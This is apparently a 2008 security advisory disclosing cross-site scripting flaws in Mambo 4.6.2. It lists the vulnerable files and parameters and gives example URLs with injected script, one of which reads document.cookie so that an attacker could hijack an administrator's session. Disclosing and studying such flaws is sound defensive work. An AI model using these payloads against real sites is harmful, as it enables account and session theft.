Mambo 4.6.2 Full Version - Multiple Cross Site Scripting - By Khashayar Fereidani Aug 15 2008 10:13AM
irancrash gmail com
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Script : Mambo 4.6.2 Full & Older Versions

Type : Multiple Cross Site Scripting Vulnerabilities

Alert Level : Medium

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Download From : http://surfnet.dl.sourceforge.net/sourceforge/mambo/MamboV4.6.2.zip

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Discovered by : Khashayar Fereidani

My Website : HTTP://FEREIDANI.IR

Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com

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Cross Site Scripting Vulnerability 1 :

Vulnerable File : administrator/popups/index3pop.php

Vulnerable Line (5) : <title><?php echo $mosConfig_sitename; ?> - Administration [Mambo]</title>

Vulnerable Variable : mosConfig_sitename

For Example : http://Example/administrator/popups/index3pop.php?mosConfig_sitename=</t
itle><script>alert(document.cookie)</script>

Attacker can hijack administrator cookie and session and login with they

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Cross Site Scripting Vulnerability 2 :

Vulnerable File : mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/co
nnector.php?

Vulnable Variable : Any Variable - You can set any variable ....

For Example set (hacker) variable : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/co
nnectors/php/connector.php?khashayar=<script>alert('xss')</script>

you can set cross site scripting code in variable name : http://Example/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/co
nnectors/php/connector.php?<script>alert('xss')</script>=Hello+Word

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